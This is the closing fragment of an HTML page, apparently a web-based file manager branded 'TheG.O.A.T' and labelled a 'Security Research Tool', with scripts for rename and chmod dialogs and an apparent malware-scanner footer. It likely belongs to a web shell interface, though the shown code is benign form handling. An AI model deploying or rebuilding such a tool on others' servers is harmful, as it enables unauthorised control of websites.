      </form>
    </div>
  </div>
</div>

<div class="copyright">
    <p>
        <i class="fas fa-copyright"></i> 2026 <strong style="color:#ff0000;">TheG.O.A.T</strong> 
        <i class="fas fa-code"></i> All Rights Reserved
    </p>
    <p style="font-size:10px;color:#444;">
        <i class="fas fa-shield-alt" style="color:#ff0000;"></i> Security Research Tool
    </p>
</div>

<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js"></script>
<script>
document.addEventListener('DOMContentLoaded', () => {
    const renameModal = document.getElementById('renameModal');
    renameModal.addEventListener('show.bs.modal', function (event) {
        const button = event.relatedTarget;
        const oldPath = button.getAttribute('data-oldpath');
        const name = button.getAttribute('data-name');

        document.getElementById('renameOldPath').value = oldPath;
        document.getElementById('renameNewName').value = name;
    });
    const chmodModal = document.getElementById('chmodModal');
    chmodModal.addEventListener('show.bs.modal', function (event) {
        const button = event.relatedTarget;
        const path = button.getAttribute('data-path');
        const perm = button.getAttribute('data-perm');

        document.getElementById('chmodPath').value = path;
        document.getElementById('chmodPerm').value = perm;
    });
});
</script>
</body>
</html>



© 2023 Quttera Ltd. All rights reserved.